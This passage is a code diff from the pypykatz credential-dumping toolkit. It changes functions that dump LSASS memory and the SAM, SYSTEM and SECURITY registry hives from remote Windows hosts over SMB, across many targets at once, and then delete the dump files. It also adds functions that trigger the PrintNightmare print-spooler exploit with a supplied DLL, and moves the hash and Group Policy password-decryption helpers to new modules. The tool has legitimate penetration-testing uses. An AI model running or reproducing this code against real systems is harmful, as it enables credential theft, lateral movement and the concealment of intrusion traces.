+					smbfile_inner, err = await machine.service_dump_lsass()
+					
+					if err is not None:
+						raise err
+					smbfile = SMBFileReader(smbfile_inner)
 
-		logging.debug('[LSASSDUMP] parsing OK!')
-		logging.debug('[LSASSDUMP] Deleting remote dump file...')
-		_, err = await smbfile.delete()
-		if err is not None:
-			logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
-		else:
-			logging.info('[LSASSDUMP] remote LSASS file deleted OK!')
+				else:
+					raise Exception('Unknown execution method %s' % method)
+			
+			logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid)
+			logger.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid)
+			mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
+
+			logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid)
+			logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid)
+			_, err = await smbfile.delete()
+			if err is not None:
+				print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err))
+			else:
+				print('[%s] Remote LSASS file deleted OK!' % targetid)
 	
-	return mimi
\ No newline at end of file
+		return targetid, mimi, None
+	except Exception as e:
+		import traceback
+		traceback.print_exc()
+		return targetid, None, e
\ No newline at end of file
diff --git a/pypykatz/smb/printer.py b/pypykatz/smb/printer.py
new file mode 100644
index 0000000..f2952b1
--- /dev/null
+++ b/pypykatz/smb/printer.py
@@ -0,0 +1,58 @@
+import asyncio
+import os
+
+from pypykatz import logger
+
+async def printnightmare(url, dll_path, driverpath = None):
+    try:
+        from aiosmb.commons.connection.factory import SMBConnectionFactory
+        from aiosmb.commons.interfaces.machine import SMBMachine
+        
+        smburl = SMBConnectionFactory.from_url(url)
+        connection = smburl.get_connection()
+
+        async with connection:
+            logger.debug('[PRINTNIGHTMARE] Connecting to server...')
+            _, err = await connection.login()
+            if err is not None:
+                raise err
+            
+            machine = SMBMachine(connection)
+            logger.debug('[PRINTNIGHTMARE] Connected!')
+            logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...')
+            _, err = await machine.printnightmare(dll_path, driverpath)
+            if err is not None:
+                raise err
+            logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!')
+            return True, None
+    except Exception as e:
+        import traceback
+        traceback.print_exc()
+        return None, e
+
+async def parprintnightmare(url, dll_path, driverpath = None):
+    try:
+        from aiosmb.commons.connection.factory import SMBConnectionFactory
+        from aiosmb.commons.interfaces.machine import SMBMachine
+        
+        smburl = SMBConnectionFactory.from_url(url)
+        connection = smburl.get_connection()
+
+        async with connection:
+            logger.debug('[PARPRINTNIGHTMARE] Connecting to server...')
+            _, err = await connection.login()
+            if err is not None:
+                raise err
+            
+            machine = SMBMachine(connection)
+            logger.debug('[PARPRINTNIGHTMARE] Connected!')
+            logger.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...')
+            _, err = await machine.par_printnightmare(dll_path, driverpath)
+            if err is not None:
+                raise err
+            logger.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!')
+            return True, None
+    except Exception as e:
+        import traceback
+        traceback.print_exc()
+        return None, e
\ No newline at end of file
diff --git a/pypykatz/smb/regutils.py b/pypykatz/smb/regutils.py
index abbe287..4ef44f9 100644
--- a/pypykatz/smb/regutils.py
+++ b/pypykatz/smb/regutils.py
@@ -2,116 +2,183 @@
 import asyncio
 import os
 
-from pypykatz import logging
+from pypykatz import logger
+from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
 
-async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
-	from aiosmb.commons.connection.url import SMBConnectionURL
-	from aiosmb.commons.interfaces.machine import SMBMachine
-	from aiosmb.commons.interfaces.file import SMBFile
-	from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
-	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
-	from pypykatz.registry.aoffline_parser import OffineRegistry
 
+async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5):
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
+	
+	base_url = None
+	base_conn = None
+	mimis = []
+	workers = []
+
+	tgens = []
+	if targets is not None and len(targets) != 0:
+		notfile = []
+		if targets is not None:
+			for target in targets:
+				try:
+					f = open(target, 'r')
+					f.close()
+					tgens.append(FileTargetGen(target))
+				except:
+					notfile.append(target)
+			
+			if len(notfile) > 0:
+				tgens.append(ListTargetGen(notfile))
+
+	if isinstance(url, SMBConnectionFactory):
+		base_url = url
+		base_conn = url.get_connection()
+	else:
+		base_url = SMBConnectionFactory.from_url(url)
+		base_conn = base_url.get_connection()
 	
+	regdump_coro = regdump_single(
+		base_conn.target.get_hostname_or_ip(), 
+		base_conn, 
+		hives = hives, 
+		remote_base_path = remote_base_path, 
+		remote_share_name = remote_share_name, 
+		enable_wait = enable_wait
+	)
+	workers.append(regdump_coro)
+
+	for tgen in tgens:
+		async for _, target, err in tgen.generate():
+			tconn = base_url.create_connection_newtarget(target)
+			regdump_coro = regdump_single(
+				tconn.target.get_hostname_or_ip(),
+				tconn, 
+				hives = hives, 
+				remote_base_path = remote_base_path, 
+				remote_share_name = remote_share_name, 
+				enable_wait = enable_wait
+			)
+			workers.append(regdump_coro)
+			if len(workers) >= worker_cnt:
+				tres = await asyncio.gather(*workers)
+				for res in tres:
+					yield res
+				workers = []
+
+	if len(workers) > 0:
+		tres = await asyncio.gather(*workers)
+		for res in tres:
+			yield res
+		workers = []
+
+
+async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
+	try:
+		from aiosmb.commons.interfaces.machine import SMBMachine
+		from aiosmb.commons.interfaces.file import SMBFile
+		from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
+		from pypykatz.alsadecryptor.asbmfile import SMBFileReader
+		from pypykatz.registry.aoffline_parser import OffineRegistry
 
-	smburl = SMBConnectionURL(url)
-	connection = smburl.get_connection()
-	if remote_base_path.endswith('\\') is False:
-		remote_base_path += '\\'
+		
+		if remote_base_path.endswith('\\') is False:
+			remote_base_path += '\\'
 
-	if remote_share_name.endswith('\\') is False:
-		remote_share_name += '\\'
+		if remote_share_name.endswith('\\') is False:
+			remote_share_name += '\\'
 
-	po = None
+		po = None
 
-	async with connection:
-		logging.debug('[REGDUMP] Connecting to server...')
-		_, err = await connection.login()
-		if err is not None:
-			raise err
-		
-		logging.debug('[REGDUMP] Connected to server!')
-		async with SMBMachine(connection) as machine:
-			logging.debug('[REGDUMP] Checking remote registry service status...')
-			status, err = await machine.check_service_status('RemoteRegistry')
+		async with connection:
+			logger.debug('[REGDUMP] Connecting to server...')
+			_, err = await connection.login()
 			if err is not None:
 				raise err
 			
-			logging.debug('[REGDUMP] Remote registry service status: %s' % status.name)
-			if status != SMBServiceStatus.RUNNING:
-				logging.debug('[REGDUMP] Enabling Remote registry service')
-				_, err = await machine.enable_service('RemoteRegistry')
-				if err is not None:
-					raise err
-				logging.debug('[REGDUMP] Starting Remote registry service')
-				_, err = await machine.start_service('RemoteRegistry')
+			logger.debug('[REGDUMP] Connected to server!')
+			async with SMBMachine(connection) as machine:
+				logger.debug('[REGDUMP] Checking remote registry service status...')
+				status, err = await machine.check_service_status('RemoteRegistry')
 				if err is not None:
 					raise err
-
-				await asyncio.sleep(enable_wait)
-
-			
-			
-			logging.debug('[REGDUMP] Remote registry service should be running now...')
-			files = {}
-			for hive in hives:
-				fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
-				remote_path = remote_base_path + fname
-				remote_sharepath = remote_share_name + fname
-				remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
-				files[hive.split('\\')[1].upper()] = remote_file
 				
-				logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
-				_, err = await machine.save_registry_hive(hive, remote_path)
-				if err is not None:
-					raise err
-			
-			#await asyncio.sleep(1)
-			for rfilename in files:
-				rfile = files[rfilename]
-				logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
-				_, err = await rfile.open(connection)
-				if err is not None:
-					raise err
-			
-			try:
-				logging.debug('[REGDUMP] Parsing hives...')
-				po = await OffineRegistry.from_async_reader(
-					files['SYSTEM'], 
-					sam_reader = files.get('SAM'), 
-					security_reader = files.get('SECURITY'), 
-					software_reader = files.get('SOFTWARE')
-				)
-			except Exception as e:
-				print(e)
-			
-			logging.debug('[REGDUMP] Hives parsed OK!')
-			
-			logging.debug('[REGDUMP] Deleting remote files...')
-			err = None
-			for rfilename in files:
-				rfile = files[rfilename]
-				err = await rfile.close()
-				if err is not None:
-					logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
+				logger.debug('[REGDUMP] Remote registry service status: %s' % status.name)
+				if status != SMBServiceStatus.RUNNING:
+					logger.debug('[REGDUMP] Enabling Remote registry service')
+					_, err = await machine.enable_service('RemoteRegistry')
+					if err is not None:
+						raise err
+					logger.debug('[REGDUMP] Starting Remote registry service')
+					_, err = await machine.start_service('RemoteRegistry')
+					if err is not None:
+						raise err
+
+					await asyncio.sleep(enable_wait)
 
-				_, err = await rfile.delete()
-				if err is not None:
-					logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
-			
-			if err is None:
-				logging.info('[REGDUMP] Deleting remote files OK!')
-	return po
+				
+				
+				logger.debug('[REGDUMP] Remote registry service should be running now...')
+				files = {}
+				for hive in hives:
+					fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
+					remote_path = remote_base_path + fname
+					remote_sharepath = remote_share_name + fname
+					remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
+					files[hive.split('\\')[1].upper()] = remote_file
+					
+					logger.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
+					_, err = await machine.save_registry_hive(hive, remote_path)
+					if err is not None:
+						raise err
+				
+				#await asyncio.sleep(1)
+				for rfilename in files:
+					rfile = files[rfilename]
+					logger.debug('[REGDUMP] Opening reghive file %s' % rfilename)
+					_, err = await rfile.open(connection)
+					if err is not None:
+						raise err
+				
+				try:
+					logger.debug('[REGDUMP] Parsing hives...')
+					po = await OffineRegistry.from_async_reader(
+						files['SYSTEM'], 
+						sam_reader = files.get('SAM'), 
+						security_reader = files.get('SECURITY'), 
+						software_reader = files.get('SOFTWARE')
+					)
+				except Exception as e:
+					print(e)
+				
+				logger.debug('[REGDUMP] Hives parsed OK!')
+				
+				logger.debug('[REGDUMP] Deleting remote files...')
+				err = None
+				for rfilename in files:
+					rfile = files[rfilename]
+					err = await rfile.close()
+					if err is not None:
+						logger.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
+
+					_, err = await rfile.delete()
+					if err is not None:
+						logger.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
+				
+				if err is None:
+					logger.info('[REGDUMP] Deleting remote files OK!')
+		
+		return targetid, po, None
+	except Exception as e:
+		return targetid, None, e
 
 			
 
 async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None):
-	from aiosmb.commons.connection.url import SMBConnectionURL
+	from aiosmb.commons.connection.factory import SMBConnectionFactory
 	from aiosmb.commons.interfaces.file import SMBFile
 	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
 	from pypykatz.registry.aoffline_parser import OffineRegistry
 
-	smburl = SMBConnectionURL(url)
+	smburl = SMBConnectionFactory.from_url(url)
 	connection = smburl.get_connection()
 
 	if smb_basepath is None:
@@ -142,39 +209,39 @@ async def regfile(url, system, sam = None, security = None, software = None, smb
 
 	po = None
 	async with connection:
-		logging.debug('[REGFILE] Connecting to server...')
+		logger.debug('[REGFILE] Connecting to server...')
 		_, err = await connection.login()
 		if err is not None:
 			raise err
 		
-		logging.debug('[REGFILE] Connected to server!')
-		logging.debug('[REGFILE] Opening SYSTEM hive dump file...')
+		logger.debug('[REGFILE] Connected to server!')
+		logger.debug('[REGFILE] Opening SYSTEM hive dump file...')
 		# parse files here
 		_, err = await system_smbfile.open(connection)
 		if err is not None:
 			raise err
 
 		if sam_smbfile is not None:
-			logging.debug('[REGFILE] Opening SAM hive dump file...')
+			logger.debug('[REGFILE] Opening SAM hive dump file...')
 			_, err = await sam_smbfile.open(connection)
 			if err is not None:
 				raise err
 				
 		if security_smbfile is not None:
-			logging.debug('[REGFILE] Opening SECURITY hive dump file...')
+			logger.debug('[REGFILE] Opening SECURITY hive dump file...')
 			_, err = await security_smbfile.open(connection)
 			if err is not None:
 				raise err
 				
 		if software_smbfile is not None:
-			logging.debug('[REGFILE] Opening SOFTWARE hive dump file...')
+			logger.debug('[REGFILE] Opening SOFTWARE hive dump file...')
 			_, err = await software_smbfile.open(connection)
 			if err is not None:
 				raise err
 		
-		logging.debug('[REGFILE] All files opened OK!')
-		logging.debug('[REGFILE] Parsing hive files...')
+		logger.debug('[REGFILE] All files opened OK!')
+		logger.debug('[REGFILE] Parsing hive files...')
 		po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile)
-		logging.debug('[REGFILE] Hive files parsed OK!')
+		logger.debug('[REGFILE] Hive files parsed OK!')
 
 	return po
\ No newline at end of file
diff --git a/pypykatz/smb/shareenum.py b/pypykatz/smb/shareenum.py
index 53e229d..1c1bae5 100644
--- a/pypykatz/smb/shareenum.py
+++ b/pypykatz/smb/shareenum.py
@@ -1,8 +1,4 @@
-import asyncio
-import os
-
-from pypykatz import logging
-from msldap.commons.url import MSLDAPURLDecoder
+from msldap.commons.factory import LDAPConnectionFactory
 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
 
 def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None):
@@ -31,7 +27,7 @@ class LDAPTargetGen:
 	
 	async def generate(self):
 		try:
-			conn_url = MSLDAPURLDecoder(self.url)
+			conn_url = LDAPConnectionFactory.from_url(self.url)
 			connection = conn_url.get_client()
 			_, err = await connection.connect()
 			if err is not None:
@@ -55,14 +51,7 @@ class LDAPTargetGen:
 	
 
 async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []):
-	from aiosmb.commons.connection.url import SMBConnectionURL
-	from pypykatz.alsadecryptor.asbmfile import SMBFileReader
-	from pypykatz.apypykatz import apypykatz
-
 
-	if targets is None and ldap_url is None:
-		raise Exception('Shareenum needs a list of targets or LDAP connection string')
-	
 	if smb_url == 'auto':
 		smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version)
 	
@@ -101,6 +90,7 @@ async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count =
 		enumerator.target_gens.append(LDAPTargetGen(ldap_url))
 
 	if len(enumerator.target_gens) == 0:
-		raise Exception('No suitable targets found!')
+		enumerator.enum_url = True
+		#raise Exception('No suitable targets found!')
 
 	await enumerator.run()
diff --git a/pypykatz/utils/crypto/cmdhelper.py b/pypykatz/utils/crypto/cmdhelper.py
index acf4a67..59ec4d5 100644
--- a/pypykatz/utils/crypto/cmdhelper.py
+++ b/pypykatz/utils/crypto/cmdhelper.py
@@ -7,48 +7,56 @@
 class CryptoCMDHelper:
 	def __init__(self):
 		self.live_keywords = []
-		self.keywords = ['nt','lm','dcc','dcc2','gppass']
+		self.keywords = ['crypto']
 		
 	def add_args(self, parser, live_parser):
-		group = parser.add_parser('nt', help='Generates NT hash of the password')
+
+		crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc')
+		crypto_subparsers = crypto_group.add_subparsers()
+		crypto_subparsers.required = True
+		crypto_subparsers.dest = 'crypto_module'
+
+		group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password')
 		group.add_argument('password', help= 'Password to be hashed')	
 		
-		group = parser.add_parser('lm', help='Generates LM hash of the password')
+		group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password')
 		group.add_argument('password', help= 'Password to be hashed')
 		
-		group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
+		group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
 		group.add_argument('username', help= 'username')
 		group.add_argument('password', help= 'Password to be hashed')
 		
-		group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
+		group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
 		group.add_argument('username', help= 'username')
 		group.add_argument('password', help= 'Password to be hashed')
 		group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count')
 		
-		group = parser.add_parser('gppass', help='Decrypt GP passwords')
+		group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords')
 		group.add_argument('enc', help='Encrypted password string')
 		
 	def execute(self, args):
 		if args.command in self.keywords:
 			self.run(args)
 		if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
-			self.run_live(args)
+			raise Exception('There are no live commands for crypto.')
+			#self.run_live(args)
 			
 	def run(self, args):
 		from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2
 		from pypykatz.utils.crypto.gppassword import gppassword
-		if args.command == 'nt':
+
+		if args.crypto_module == 'nt':
 			print(NT(args.password).hex())
 		
-		elif args.command == 'lm':
+		elif args.crypto_module == 'lm':
 			print(LM(args.password).hex())
 			
-		elif args.command == 'dcc':
+		elif args.crypto_module == 'dcc':
 			print(MSDCC(args.username, args.password).hex())
 			
-		elif args.command == 'dcc2':
+		elif args.crypto_module == 'dcc2':
 			print(MSDCCv2(args.username, args.password, args.iteration_count).hex())
 			
-		elif args.command == 'gppass':
+		elif args.crypto_module == 'gppass':
 			print(gppassword(args.enc))
 		
\ No newline at end of file
diff --git a/pypykatz/utils/crypto/gppassword.py b/pypykatz/utils/crypto/gppassword.py
index d0b6a56..9151f2d 100644
--- a/pypykatz/utils/crypto/gppassword.py
+++ b/pypykatz/utils/crypto/gppassword.py
@@ -1,8 +1,7 @@
 
 import base64
-from pypykatz.crypto.unified.aes import AES
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
-from pypykatz.crypto.unified.pkcs7 import unpad as pkcs7_unpad
+from unicrypto.symmetric import AES, MODE_CBC
+from unicrypto.backends.pure.padding.pkcs7 import unpad as pkcs7_unpad
 
 
 def gppassword(pw_enc_b64):
@@ -17,7 +16,7 @@ def gppassword(pw_enc_b64):
 		
 	pw_enc = base64.b64decode(pw_enc_b64)
 	
-	ctx = AES(AES_KEY, mode = SYMMETRIC_MODE.CBC, iv = AES_IV)
+	ctx = AES(AES_KEY, MODE_CBC, IV = AES_IV)
 	pw_dec  = pkcs7_unpad(ctx.decrypt(pw_enc))
 	
 	return pw_dec.decode('utf-16-le')
diff --git a/pypykatz/utils/crypto/winhash.py b/pypykatz/utils/crypto/winhash.py
index b841d06..f42090e 100644
--- a/pypykatz/utils/crypto/winhash.py
+++ b/pypykatz/utils/crypto/winhash.py
@@ -4,12 +4,12 @@
 #  Tamas Jos (@skelsec)
 #
 
-import hashlib
-from pypykatz.crypto.unified.des import DES, expand_DES_key
-from pypykatz.crypto.unified.pbkdf2 import pbkdf2
+from unicrypto.symmetric import DES, expand_DES_key
+from unicrypto.pbkdf2 import pbkdf2
+from unicrypto.hashlib import md4 as MD4
 
 def LM(password):
-	if password is None:
+	if password is None or password == '':
 		return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee')
 	LM_SECRET = b'KGS!@#$%'
 	password_uppercase = password.upper()
@@ -26,21 +26,19 @@ def LM(password):
 	return lm_hash
 
 def NT(password):
-	if password is None:
+	if password is None or password == '':
 		return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0')
 	password_bytes = password.encode('utf-16-le')
-	md4 = hashlib.new('md4')
-	md4.update(password_bytes)
-	nt_hash =  md4.digest()	
-	return nt_hash
+	md4 = MD4(password_bytes)
+	return md4.digest()
 	
 def MSDCC(username, password):
 	nt_hash_of_password = NT(password)
 	username_lower = username.lower()
 	username_bytes = username_lower.encode('utf-16-le')
-	md4 = hashlib.new('md4')
-	md4.update(nt_hash_of_password)
-	md4.update(username_bytes)
+	md4 = MD4(nt_hash_of_password + username_bytes)
+	#md4.update(nt_hash_of_password)
+	#md4.update(username_bytes)
 	dcc =  md4.digest()
 	return dcc
 	
diff --git a/setup.py b/setup.py
index f2ec54e..07e402c 100644
--- a/setup.py
+++ b/setup.py
@@ -45,18 +45,21 @@ setup(
 
 	# long_description=open("README.txt").read(),
 	python_requires='>=3.6',
-	classifiers=(
+	classifiers=[
 		"Programming Language :: Python :: 3.6",
 		"License :: OSI Approved :: MIT License",
 		"Operating System :: OS Independent",
-	),
+	],
 	install_requires=[
-		'minidump>=0.0.17',
-		'minikerberos>=0.2.10',
-		'aiowinreg>=0.0.4',
-		'msldap>=0.3.27',
-		'winacl>=0.1.1',
-		'aiosmb>=0.2.40',
+		'unicrypto>=0.0.9',
+		'minidump>=0.0.21',
+		'minikerberos>=0.3.5',
+		'aiowinreg>=0.0.7',
+		'msldap>=0.4.1',
+		'winacl>=0.1.5',
+		'aiosmb>=0.4.2',
+		'aesedb>=0.1.0',
+		'tqdm',
 	],
 	
 	# No more conveinent .exe entry point thanks to some idiot who